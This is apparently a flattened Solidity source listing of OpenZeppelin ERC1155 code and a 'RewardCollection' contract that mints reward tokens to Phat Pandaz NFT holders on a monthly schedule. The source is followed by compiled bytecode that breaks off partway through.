external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the `\{id\}` substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, amounts, data); } /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: insufficient balance for transfer"); unchecked { _balances[id][from] = fromBalance - amount; } _balances[id][to] += amount; } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint( address to, uint256 id, uint256 amount, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][to] += amount; emit TransferSingle(operator, address(0), to, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch( address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint256 i = 0; i < ids.length; i++) { _balances[ids[i]][to] += amounts[i]; } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `from` * * Requirements: * * - `from` cannot be the zero address. * - `from` must have at least `amount` tokens of token type `id`. */ function _burn( address from, uint256 id, uint256 amount ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } emit TransferSingle(operator, from, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch( address from, uint256[] memory ids, uint256[] memory amounts ) internal virtual { require(from != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, from, address(0), ids, amounts, ""); for (uint256 i = 0; i < ids.length; i++) { uint256 id = ids[i]; uint256 amount = amounts[i]; uint256 fromBalance = _balances[id][from]; require(fromBalance >= amount, "ERC1155: burn amount exceeds balance"); unchecked { _balances[id][from] = fromBalance - amount; } } emit TransferBatch(operator, from, address(0), ids, amounts); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC1155: setting approval status for self"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual {} function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns ( bytes4 response ) { if (response != IERC1155Receiver.onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: RewardCollection.sol pragma solidity ^0.8.0; /** * @title RewardCollection contract * @dev Extends ERC1155 Non-Fungible Token Standard basic implementation */ interface IPhatPandaz { function lastTransfer(uint256) external view returns (uint256); function ownerOf(uint256 tokenId) external view returns (address); } interface IDateTime { function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) external view returns (uint256); } contract RewardCollection is ERC1155, Ownable { IPhatPandaz phatPandaz = IPhatPandaz(0x6F14e33f19975C8aa5AdFa66fC2bFe80f539E7B9); IDateTime dateTime = IDateTime(0x5Ce96A6dE876155d69FE4D093C57e8e45Eb6B0D0); address private redPandazContract; address private trashPandazContract; uint256 public startTimestamp = 1646175600; // Mar 1st 22 11PM UTC mapping(uint256 => mapping (uint256 => bool)) private _rewardClaimNormal; mapping(uint256 => mapping (uint256 => bool)) private _rewardClaimSpecial; mapping(uint256 => mapping (uint256 => bool)) private _rewardClaimPlatinum; mapping(uint256 => uint256) private _totalSupply; uint256 private constant FERTILIZER = 0; uint256 private constant COCO_CUBEZ = 1; uint256 private constant SEEDZ = 2; uint256 private constant PLANT = 3; uint256 public lastDateNormal = 202203; uint256 public lastDateSpecial = 202203; uint256 public lastDatePlatinum = 202203; uint8 public gapMonthNormal = 3; uint8 public gapMonthSpecial = 2; uint8 public gapMonthPlatinum = 1; uint256 public startHour = 23; // 11PM uint256 public holdLimitNormal = 90 days; uint256 public holdLimitSpecial = 60 days; uint256[] private platinumList = [1, 2, 248, 315, 367, 389, 421, 536, 549, 644, 712, 806, 882, 948, 956, 1020, 1360]; uint256[] private zkittlezList = [26, 88, 118, 154, 205, 230, 285, 308, 329, 360, 380, 387, 422, 443, 458, 465, 535, 535, 556, 557, 598, 608, 618, 674, 739, 791, 840, 847, 852, 864, 871, 880, 906, 1015, 1086, 1094, 1164, 1165, 1303, 1362]; uint256[] private terpHogzList = [7, 37, 105, 138, 173, 182, 249, 302, 369, 400, 409, 465, 476, 508, 514, 576, 608, 624, 721, 814, 858, 871, 910, 929, 1000, 1078, 1162, 1177, 1190, 1264, 1291, 1317, 1365]; uint256[] private charCoirList = [93, 100, 108, 146, 163, 230, 259, 306, 310, 356, 419, 444, 449, 491, 492, 730, 731, 760, 761, 866, 951, 967, 1158, 1212, 1301, 1352]; uint256[] private vegBloomList = [28, 130, 145, 286, 429, 493, 638, 646, 714, 770, 776, 777, 780, 860, 875, 881, 906, 919, 982, 993, 1006, 1007, 1064, 1204, 1247, 1262, 1304, 1357]; mapping(uint => bool) private platinumMap; mapping(uint => bool) private zkittlezMap; mapping(uint => bool) private terpHogzMap; mapping(uint => bool) private charCoirMap; mapping(uint => bool) private vegBloomMap; constructor() ERC1155("") { setMappings(); } function setMappings() internal { for(uint i = 0; i < platinumList.length; i++) { platinumMap[platinumList[i]] = true; } for(uint i = 0; i < zkittlezList.length; i++) { zkittlezMap[zkittlezList[i]] = true; } for(uint i = 0; i < terpHogzList.length; i++) { terpHogzMap[terpHogzList[i]] = true; } for(uint i = 0; i < charCoirList.length; i++) { charCoirMap[charCoirList[i]] = true; } for(uint i = 0; i < vegBloomList.length; i++) { vegBloomMap[vegBloomList[i]] = true; } } function setRedPandaz(address redPandazAddress) external onlyOwner { redPandazContract = redPandazAddress; } function setTrashPandaz(address trashPandazAddress) external onlyOwner { trashPandazContract = trashPandazAddress; } function setURI(string memory uri_) external onlyOwner { _setURI(uri_); } function burn( address account, uint256 id, uint256 value ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()) || _msgSender() == redPandazContract || _msgSender() == trashPandazContract, "ERC1155: not owner nor approved" ); _burn(account, id, value); } function burnBatch( address account, uint256[] memory ids, uint256[] memory values ) public virtual { require( account == _msgSender() || isApprovedForAll(account, _msgSender()) || _msgSender() == redPandazContract || _msgSender() == trashPandazContract, "ERC1155: not owner nor approved" ); _burnBatch(account, ids, values); } /** * @dev See {ERC1155-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual override { super._beforeTokenTransfer(operator, from, to, ids, amounts, data); if (from == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] += amounts[i]; } } if (to == address(0)) { for (uint256 i = 0; i < ids.length; ++i) { _totalSupply[ids[i]] -= amounts[i]; } } } /** * @dev Total amount of tokens in with a given id. */ function totalSupply(uint256 id) public view virtual returns (uint256) { return _totalSupply[id]; } /** * @dev Indicates whether any token exist with a given id, or not. */ function exists(uint256 id) public view virtual returns (bool) { return totalSupply(id) > 0; } function updateGapMonthNormal(uint8 _gapMonthNormal) external onlyOwner { require(_gapMonthNormal >=1 && _gapMonthNormal <= 12, "Invalid"); gapMonthNormal = _gapMonthNormal; } function updateGapMonthSpecial(uint8 _gapMonthSpecial) external onlyOwner { require(_gapMonthSpecial >=1 && _gapMonthSpecial <= 12, "Invalid"); gapMonthSpecial = _gapMonthSpecial; } function updateGapMonthPlatinum(uint8 _gapMonthPlatinum) external onlyOwner { require(_gapMonthPlatinum >=1 && _gapMonthPlatinum <= 12, "Invalid"); gapMonthPlatinum = _gapMonthPlatinum; } function updateHoldLimitNormal(uint256 _holdLimitNormal) external onlyOwner { holdLimitNormal = _holdLimitNormal; } function updateHoldLimitSpecial(uint256 _holdLimitSpecial) external onlyOwner { holdLimitSpecial = _holdLimitSpecial; } function getEndTimestamp(uint8 which) public view returns (uint256) { uint16 year; uint8 month; uint256 lastDate; if(which == 0) lastDate = lastDateNormal; else if(which == 1) lastDate = lastDateSpecial; else lastDate = lastDatePlatinum; year = uint16(lastDate / 100); month = uint8(lastDate % 100); if(which == 0) month = month + gapMonthNormal; else if(which == 1) month = month + gapMonthSpecial; else month = month + gapMonthPlatinum; year = year + month / 13; month = month % 12 == 0 ? 12 : month % 12; return dateTime.toTimestamp(year, month, 1, uint8(startHour), 0); } function claimPlant() external { uint256[] memory ids = new uint256[](3); ids[0] = FERTILIZER; ids[1] = COCO_CUBEZ; ids[2] = SEEDZ; uint256[] memory values = new uint256[](3); values[0] = 1; values[1] = 1; values[2] = 1; _burnBatch(msg.sender, ids, values); _mint(msg.sender, PLANT, 1, ""); } function claimPlatinum(uint256 tokenId) external { require(block.timestamp >= startTimestamp, "Not started"); require(phatPandaz.ownerOf(tokenId) == msg.sender, "Not owner"); require(platinumMap[tokenId], "Not Platinum"); if(block.timestamp > getEndTimestamp(2)) { uint256 year = lastDatePlatinum / 100; uint256 nextMonth = lastDatePlatinum % 100 + gapMonthPlatinum; lastDatePlatinum = (year + nextMonth / 13) * 100 + (nextMonth % 12 == 0 ? 12 : nextMonth % 12); } require(_rewardClaimPlatinum[lastDatePlatinum][tokenId] == false, "Already claimed"); _rewardClaimPlatinum[lastDatePlatinum][tokenId] = true; _mint(msg.sender, SEEDZ, 1, ""); } function claimSpecial(uint256 tokenId) internal { require(block.timestamp >= startTimestamp, "Not started"); require(phatPandaz.ownerOf(tokenId) == msg.sender, "Not owner"); if(block.timestamp > getEndTimestamp(1)) { uint256 year = lastDateSpecial / 100; uint256 nextMonth = lastDateSpecial % 100 + gapMonthSpecial; lastDateSpecial = (year + nextMonth / 13) * 100 + (nextMonth % 12 == 0 ? 12 : nextMonth % 12); } require(lastDateSpecial == 202203 || block.timestamp - phatPandaz.lastTransfer(tokenId) >= holdLimitSpecial, "Not hodl enough"); require(_rewardClaimSpecial[lastDateSpecial][tokenId] == false, "Already claimed"); _rewardClaimSpecial[lastDateSpecial][tokenId] = true; } function claimZkittlez(uint256 tokenId) external { require(zkittlezMap[tokenId], "Not Zkittlez"); claimSpecial(tokenId); _mint(msg.sender, SEEDZ, 1, ""); } function claimTerpHogz(uint256 tokenId) external { require(terpHogzMap[tokenId], "Not Terp Hogz"); claimSpecial(tokenId); _mint(msg.sender, SEEDZ, 1, ""); } function claimCharCoir(uint256 tokenId) external { require(charCoirMap[tokenId], "Not Char Coir"); claimSpecial(tokenId); _mint(msg.sender, COCO_CUBEZ, 1, ""); } function claimVegBloom(uint256 tokenId) external { require(vegBloomMap[tokenId], "Not Veg+Bloom"); claimSpecial(tokenId); _mint(msg.sender, FERTILIZER, 1, ""); } function claimNormal(uint256 tokenId, uint256 randNo) external { require(block.timestamp >= startTimestamp, "Not started"); require(phatPandaz.ownerOf(tokenId) == msg.sender, "Not owner."); require(!zkittlezMap[tokenId] && !terpHogzMap[tokenId] && !charCoirMap[tokenId] && !vegBloomMap[tokenId] && !platinumMap[tokenId], "Not Normal"); if(block.timestamp > getEndTimestamp(0)) { uint256 year = lastDateNormal / 100; uint256 nextMonth = lastDateNormal % 100 + gapMonthNormal; lastDateNormal = (year + nextMonth / 13) * 100 + (nextMonth % 12 == 0 ? 12 : nextMonth % 12); } require(lastDateNormal == 202203 || block.timestamp - phatPandaz.lastTransfer(tokenId) >= holdLimitNormal, "Not hodl enough"); require(_rewardClaimNormal[lastDateNormal][tokenId] == false, "Already claimed"); _rewardClaimNormal[lastDateNormal][tokenId] = true; uint256 rand = uint256(keccak256(abi.encode(block.timestamp, block.difficulty, msg.sender, tokenId, randNo))) % 1000; if(lastDateNormal == 202203) { if(rand < 445) { _mint(msg.sender, FERTILIZER, 1, ""); return; } else if(rand >= 445 && rand < 778) { _mint(msg.sender, COCO_CUBEZ, 1, ""); return; } else if(rand >= 778) { _mint(msg.sender, SEEDZ, 1, ""); return; } } if((rand >= 200 && rand < 250) || (rand >= 600 && rand < 650)) _mint(msg.sender, FERTILIZER, 1, ""); else if((rand >= 100 && rand < 140) || (rand >= 450 && rand < 485)) _mint(msg.sender, COCO_CUBEZ, 1, ""); else if((rand >= 300 && rand < 330) || (rand >= 830 && rand < 850)) _mint(msg.sender, SEEDZ, 1, ""); } function claimStatus(uint256 tokenId, uint256 timestamp) external view returns (bool) { if(timestamp < startTimestamp) return true; uint256 endTime; uint256 lastDate; uint256 year; uint256 nextMonth; bool claimFlag; if(platinumMap[tokenId]){ endTime = getEndTimestamp(2); if(timestamp > endTime) { year = lastDatePlatinum / 100; nextMonth = lastDatePlatinum % 100 + gapMonthPlatinum; lastDate = (year + nextMonth / 13) * 100 + (nextMonth % 12 == 0 ? 12 : nextMonth % 12); } else lastDate = lastDatePlatinum; claimFlag = _rewardClaimPlatinum[lastDate][tokenId]; } else if(zkittlezMap[tokenId] || terpHogzMap[tokenId] || charCoirMap[tokenId] || vegBloomMap[tokenId]) { endTime = getEndTimestamp(1); if(timestamp > endTime) { year = lastDateSpecial / 100; nextMonth = lastDateSpecial % 100 + gapMonthSpecial; lastDate = (year + nextMonth / 13) * 100 + (nextMonth % 12 == 0 ? 12 : nextMonth % 12); } else lastDate = lastDateSpecial; if(lastDate == 202203) claimFlag = _rewardClaimSpecial[lastDate][tokenId]; else claimFlag = (timestamp - phatPandaz.lastTransfer(tokenId) < holdLimitSpecial) || _rewardClaimSpecial[lastDate][tokenId]; } else { endTime = getEndTimestamp(0); if(timestamp > endTime) { year = lastDateNormal / 100; nextMonth = lastDateNormal % 100 + gapMonthNormal; lastDate = (year + nextMonth / 13) * 100 + (nextMonth % 12 == 0 ? 12 : nextMonth % 12); } else lastDate = lastDateNormal; if(lastDate == 202203) claimFlag = _rewardClaimNormal[lastDate][tokenId]; else claimFlag = (timestamp - phatPandaz.lastTransfer(tokenId) < holdLimitNormal) || _rewardClaimNormal[lastDate][tokenId]; } return claimFlag; } }
0x608060405234801561001057600080fd5b506004361061025d5760003560e01c80635bbad62411610146578063b8f8616a116100c3578063e6fd48bc11610087578063e6fd48bc146104e3578063e8669e42146104eb578063e985e9c5146104fe578063f242432a14610511578063f2fde38b14610524578063f5298aca146105375761025d565b8063b8f8616a1461048f578063bd85b03914610497578063c02303ee146104aa578063c0fc88c3146104bd578063c20b9257146104d05761025d565b806389fc31f61161010a57806389fc31f6146104395780638da5cb5b1461044c5780639bf8256814610461578063a22cb46514610469578063ada784941461047c5761025d565b80635bbad624146103fb5780636b20c4541461040e5780636c7f3087146104215780636dcd733414610429578063715018a6146104315761025d565b80632b8d190a116101df5780633d8cc2f8116101a35780633d8cc2f8146103875780633e7de83e1461039a57806343fcf895146103a257806347bf9585146103b55780634e1273f4146103c85780634f558e79146103e85761025d565b80632b8d190a1461033e5780632e64f511146103515780632eb2c2d614610359578063301c35371461036c578063399607a61461037f5761025d565b8063122386da11610226578063122386da146102f35780631e31d226146103085780632666928f14610310578063287504cb1461032357806329dd11c21461032b5761025d565b8062fdd58e1461026257806301ffc9a71461028b57806302fe5305146102ab5780630e89341c146102c05780630fcfe530146102e0575b600080fd5b610275610270366004612fbc565b61054a565b60405161028291906139b1565b60405180910390f35b61029e6102993660046130db565b6105a4565b604051610282919061333c565b6102be6102b9366004613113565b6105e4565b005b6102d36102ce366004613161565b61062f565b6040516102829190613347565b6102be6102ee3660046131b2565b6106c3565b6102fb61074c565b60405161028291906139f4565b61027561075a565b6102be61031e366004612d97565b610760565b6102756107c1565b6102be610339366004613191565b6107c7565b6102be61034c366004613161565b610ca9565b6102fb610ec8565b6102be610367366004612e07565b610ed7565b6102be61037a366004612d97565b610f35565b6102fb610f96565b61029e610395366004613191565b610f9f565b61027561141c565b6102be6103b0366004613161565b611422565b6102be6103c3366004613161565b611476565b6103db6103d636600461301b565b6114ba565b6040516102829190613304565b61029e6103f6366004613161565b6115da565b6102be610409366004613161565b6115ed565b6102be61041c366004612f18565b611641565b6102be6116e0565b610275611869565b6102be61186f565b6102756104473660046131b2565b6118ba565b610454611a35565b6040516102829190613258565b610275611a45565b6102be610477366004612f8b565b611a4b565b6102be61048a366004613161565b611a5d565b610275611ab0565b6102756104a5366004613161565b611ab6565b6102be6104b83660046131b2565b611ac8565b6102be6104cb366004613161565b611b57565b6102be6104de3660046131b2565b611b85565b610275611c16565b6102be6104f9366004613161565b611c1c565b61029e61050c366004612dcf565b611c60565b6102be61051f366004612eb1565b611c8e565b6102be610532366004612d97565b611ce5565b6102be610545366004612fe7565b611d53565b60006001600160a01b03831661057b5760405162461bcd60e51b81526004016105729061341b565b60405180910390fd5b506000818152602081815260408083206001600160a01b03861684529091529020545b92915050565b60006001600160e01b03198216636cdb3d1360e11b14806105d557506001600160e01b031982166303a24d0760e21b145b8061059e575061059e82611df2565b6105ec611e0b565b6001600160a01b03166105fd611a35565b6001600160a01b0316146106235760405162461bcd60e51b815260040161057290613747565b61062c81611e0f565b50565b60606002805461063e90613b1f565b80601f016020809104026020016040519081016040528092919081815260200182805461066a90613b1f565b80156106b75780601f1061068c576101008083540402835291602001916106b7565b820191906000526020600020905b81548152906001019060200180831161069a57829003601f168201915b50505050509050919050565b6106cb611e0b565b6001600160a01b03166106dc611a35565b6001600160a01b0316146107025760405162461bcd60e51b815260040161057290613747565b60018160ff161015801561071a5750600c8160ff1611155b6107365760405162461bcd60e51b815260040161057290613847565b6010805460ff191660ff92909216919091179055565b601054610100900460ff1681565b60115481565b610768611e0b565b6001600160a01b0316610779611a35565b6001600160a01b03161461079f5760405162461bcd60e51b815260040161057290613747565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b600d5481565b6008544210156107e95760405162461bcd60e51b8152600401610572906133f6565b600480546040516331a9108f60e11b815233926001600160a01b0390921691636352211e9161081a918791016139b1565b60206040518083038186803b15801561083257600080fd5b505afa158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a9190612db3565b6001600160a01b0316146108905760405162461bcd60e51b815260040161057290613800565b6000828152601a602052604090205460ff161580156108be57506000828152601b602052604090205460ff16155b80156108d957506000828152601c602052604090205460ff16155b80156108f457506000828152601d602052604090205460ff16155b801561090f575060008281526019602052604090205460ff16155b61092b5760405162461bcd60e51b8152600401610572906134ac565b61093560006118ba565b4211156109ca5760006064600d5461094d9190613ab3565b601054600d5491925060009160ff9091169061096b90606490613b75565b6109759190613a76565b9050610982600c82613b75565b1561099757610992600c82613b75565b61099a565b600c5b6109a5600d83613ab3565b6109af9084613a76565b6109ba906064613ae9565b6109c49190613a76565b600d5550505b600d54620315db1480610a6757506012546004805460405163209ca49f60e11b81526001600160a01b0390911691634139493e91610a0a918791016139b1565b60206040518083038186803b158015610a2257600080fd5b505afa158015610a36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5a9190613179565b610a649042613b08565b10155b610a835760405162461bcd60e51b81526004016105729061371e565b600d54600090815260096020908152604080832085845290915290205460ff1615610ac05760405162461bcd60e51b8152600401610572906136f5565b600d5460009081526009602090815260408083208584528252808320805460ff19166001179055516103e891610b009142914491339189918991016139c8565b6040516020818303038152906040528051906020012060001c610b239190613b75565b9050600d54620315db1415610bb9576101bd811015610b5f57610b59336000600160405180602001604052806000815250611e22565b50610ca5565b6101bd8110158015610b72575061030a81105b15610b9357610b593360018060405180602001604052806000815250611e22565b61030a8110610bb957610b59336002600160405180602001604052806000815250611e22565b60c88110158015610bca575060fa81105b80610be357506102588110158015610be3575061028a81105b15610c0a57610c05336000600160405180602001604052806000815250611e22565b610ca3565b60648110158015610c1b5750608c81105b80610c3457506101c28110158015610c3457506101e581105b15610c5557610c053360018060405180602001604052806000815250611e22565b61012c8110158015610c68575061014a81105b80610c81575061033e8110158015610c81575061035281105b15610ca357610ca3336002600160405180602001604052806000815250611e22565b505b5050565b600854421015610ccb5760405162461bcd60e51b8152600401610572906133f6565b600480546040516331a9108f60e11b815233926001600160a01b0390921691636352211e91610cfc918691016139b1565b60206040518083038186803b158015610d1457600080fd5b505afa158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c9190612db3565b6001600160a01b031614610d725760405162461bcd60e51b815260040161057290613824565b60008181526019602052604090205460ff16610da05760405162461bcd60e51b8152600401610572906135ab565b610daa60026118ba565b421115610e475760006064600f54610dc29190613ab3565b90506000601060029054906101000a900460ff1660ff166064600f54610de89190613b75565b610df29190613a76565b9050610dff600c82613b75565b15610e1457610e0f600c82613b75565b610e17565b600c5b610e22600d83613ab3565b610e2c9084613a76565b610e37906064613ae9565b610e419190613a76565b600f5550505b600f546000908152600b6020908152604080832084845290915290205460ff1615610e845760405162461bcd